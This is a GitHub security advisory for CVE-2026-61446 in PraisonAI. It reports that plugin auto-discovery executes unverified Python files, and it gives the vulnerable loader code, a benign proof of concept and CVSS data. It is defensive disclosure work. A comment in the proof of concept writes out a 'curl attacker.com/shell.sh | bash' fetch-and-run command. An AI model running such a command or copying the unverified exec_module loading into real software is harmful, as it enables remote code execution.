GHSA-M6WP-H223-4C8G

Vulnerability from github – Published: 2026-10-08 16:44 – Updated: 2026-10-08 16:44
VLAI
Summary
PraisonAI: Plugin Auto-Discovery Executes Arbitrary Python Files Without Verification
Details

Summary

The plugin manager loads and executes arbitrary .py files from .praisonai/plugins/ directories (both project-level and user home) via importlib.util.spec_from_file_location() + exec_module() with zero code signing, integrity verification, or sandboxing. Any attacker who can write a file to the plugins directory (via path traversal, supply chain attack, or compromised dependency) achieves arbitrary code execution when the plugin system initializes.

Details

src/praisonai-agents/praisonaiagents/plugins/manager.py (lines 163-196):

def _load_plugin_file(self, file_path: Path) -> Optional[Plugin]:
    module_name = f"praison_plugin_{file_path.stem}_{id(file_path)}"
    spec = importlib.util.spec_from_file_location(module_name, file_path)
    module = importlib.util.module_from_spec(spec)
    sys.modules[module_name] = module
    spec.loader.exec_module(module)  # Executes arbitrary Python code

    if hasattr(module, "create_plugin"):
        return module.create_plugin()  # Calls arbitrary function

src/praisonai-agents/praisonaiagents/plugins/discovery.py (lines 38-39):

# Auto-discovery paths:
# 1. Project: ./.praisonai/plugins/
# 2. User: ~/.praisonai/plugins/

No code signing, hash verification, or sandboxing is applied. The only validation is checking for a Plugin Name field in the file's docstring header.

PoC

from praisonaiagents.plugins.discovery import load_plugin
import tempfile, os

# Create a "malicious" plugin
test_dir = tempfile.mkdtemp()
plugin_file = os.path.join(test_dir, 'evil.py')
with open(plugin_file, 'w') as f:
    f.write('"""\nPlugin Name: Evil Plugin\nDescription: test\nVersion: 1.0.0\n"""\n'
            'PROOF = "CODE_EXECUTED_AT_IMPORT_TIME"\n'
            '# In a real attack: os.system("curl attacker.com/shell.sh | bash")\n'
            'def create_plugin():\n    return {"name": "evil"}\n')

# Load it
result = load_plugin(plugin_file)
print(f"Result: {result}")  # {'name': 'Evil Plugin', ...}

# Verify code executed
import sys
for name, mod in sys.modules.items():
    if 'evil' in name:
        print(f"EXPLOIT CONFIRMED: {mod.PROOF}")  # "CODE_EXECUTED_AT_IMPORT_TIME"

Tested result: Plugin file was loaded via exec_module(), and the PROOF variable confirmed code execution at import time.

Impact

  • Arbitrary code execution: Any .py file in the plugins directory is executed with full Python access
  • No user interaction required: Plugins are auto-discovered and loaded at framework initialization
  • Persistence: A planted plugin survives restarts and executes every time the framework starts
  • Attack chain: Combine with path traversal (write_file tool) to plant the plugin remotely
Severity
8.4 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.6.77"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.78"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61446"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-427",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T16:44:04Z",
    "nvd_published_at": "2026-07-15T17:16:52Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe plugin manager loads and executes arbitrary `.py` files from `.praisonai/plugins/` directories (both project-level and user home) via `importlib.util.spec_from_file_location()` + `exec_module()` with zero code signing, integrity verification, or sandboxing. Any attacker who can write a file to the plugins directory (via path traversal, supply chain attack, or compromised dependency) achieves arbitrary code execution when the plugin system initializes.\n\n### Details\n\n`src/praisonai-agents/praisonaiagents/plugins/manager.py` (lines 163-196):\n\n```python\ndef _load_plugin_file(self, file_path: Path) -\u003e Optional[Plugin]:\n    module_name = f\"praison_plugin_{file_path.stem}_{id(file_path)}\"\n    spec = importlib.util.spec_from_file_location(module_name, file_path)\n    module = importlib.util.module_from_spec(spec)\n    sys.modules[module_name] = module\n    spec.loader.exec_module(module)  # Executes arbitrary Python code\n\n    if hasattr(module, \"create_plugin\"):\n        return module.create_plugin()  # Calls arbitrary function\n```\n\n`src/praisonai-agents/praisonaiagents/plugins/discovery.py` (lines 38-39):\n\n```python\n# Auto-discovery paths:\n# 1. Project: ./.praisonai/plugins/\n# 2. User: ~/.praisonai/plugins/\n```\n\nNo code signing, hash verification, or sandboxing is applied. The only validation is checking for a `Plugin Name` field in the file\u0027s docstring header.\n\n\n### PoC\n\n```python\nfrom praisonaiagents.plugins.discovery import load_plugin\nimport tempfile, os\n\n# Create a \"malicious\" plugin\ntest_dir = tempfile.mkdtemp()\nplugin_file = os.path.join(test_dir, \u0027evil.py\u0027)\nwith open(plugin_file, \u0027w\u0027) as f:\n    f.write(\u0027\"\"\"\\nPlugin Name: Evil Plugin\\nDescription: test\\nVersion: 1.0.0\\n\"\"\"\\n\u0027\n            \u0027PROOF = \"CODE_EXECUTED_AT_IMPORT_TIME\"\\n\u0027\n            \u0027# In a real attack: os.system(\"curl attacker.com/shell.sh | bash\")\\n\u0027\n            \u0027def create_plugin():\\n    return {\"name\": \"evil\"}\\n\u0027)\n\n# Load it\nresult = load_plugin(plugin_file)\nprint(f\"Result: {result}\")  # {\u0027name\u0027: \u0027Evil Plugin\u0027, ...}\n\n# Verify code executed\nimport sys\nfor name, mod in sys.modules.items():\n    if \u0027evil\u0027 in name:\n        print(f\"EXPLOIT CONFIRMED: {mod.PROOF}\")  # \"CODE_EXECUTED_AT_IMPORT_TIME\"\n```\n\n**Tested result:** Plugin file was loaded via `exec_module()`, and the `PROOF` variable confirmed code execution at import time.\n\n### Impact\n\n- **Arbitrary code execution**: Any `.py` file in the plugins directory is executed with full Python access\n- **No user interaction required**: Plugins are auto-discovered and loaded at framework initialization\n- **Persistence**: A planted plugin survives restarts and executes every time the framework starts\n- **Attack chain**: Combine with path traversal (write_file tool) to plant the plugin remotely",
  "id": "GHSA-m6wp-h223-4c8g",
  "modified": "2026-10-08T16:44:04Z",
  "published": "2026-10-08T16:44:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-m6wp-h223-4c8g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61446"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62165"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/praisonai-before-remote-code-execution-via-plugin-auto-discovery"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: Plugin Auto-Discovery Executes Arbitrary Python Files Without Verification"
}



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